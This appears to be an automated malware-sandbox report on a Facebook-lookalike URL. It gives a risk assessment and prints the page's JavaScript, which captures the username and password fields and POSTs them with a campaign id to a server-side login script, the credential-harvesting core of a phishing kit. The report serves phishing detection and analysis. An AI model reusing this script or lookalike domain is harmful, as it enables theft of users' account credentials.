Windows Analysis Report
https://vww-facebook.com.vn/d65vs4Vx.html?lSo8QjUBjC=cvif9DIZpRXkUvN&fin=s_in

• HCA enabled
• EGA enabled
• AMSI enabled

• Successful, ratio: 100%
• Number of executed functions: 0
• Number of non-executed functions: 0

```json
{
  "riskscore": 7,
  "reasons": "The JavaScript code captures user credentials (username and password) and sends them via an AJAX POST request to a server-side script (/system/login.php). This behavior is typical of a login form, but without additional context or verification of the server-side script's legitimacy, it could potentially be used for phishing. The hardcoded 'id' parameter and redirection to a success page also raise concerns about the potential misuse of user credentials."
}

function Login() {

  $('#ok').html('ang ng nhp...');
    $('#ok').attr('disabled', 'disabled');
            $.ajax({
            url: "/system/login.php",
            method: "POST",
            data: {
               id: '55345',
               tk: $("#tk").val(),
               mk: $("#mk").val(),
               type: 'Facebook'
          
    },
            success: function(response) {
                
               var data = JSON.parse(response);
               var message = data.message;
               var status = data.status;
              
              
               if (status == 'error') { 
                 $('#ok').removeAttr('disabled');
                 $('#ok').html('ng nhp');
                 $(".notilog").remove()
                document.getElementById('tk').style = 'border: 1px solid #FA3E3E;';
                document.getElementById('error').style = 'background-color: #FA3E3E; padding: 3px; color: #FFFFF3; text-align: center; font-size:15px; font-family: Arial, Helvetica, sans-serif;'
                document.getElementById('error').innerHTML = message;
               } else {
                   
                $("#error").remove()
                  window.location.href = "/success.php?id=55345"; 
                  
               }

            },
            error: function(e) {
               console.log(e);
            }
         });
      }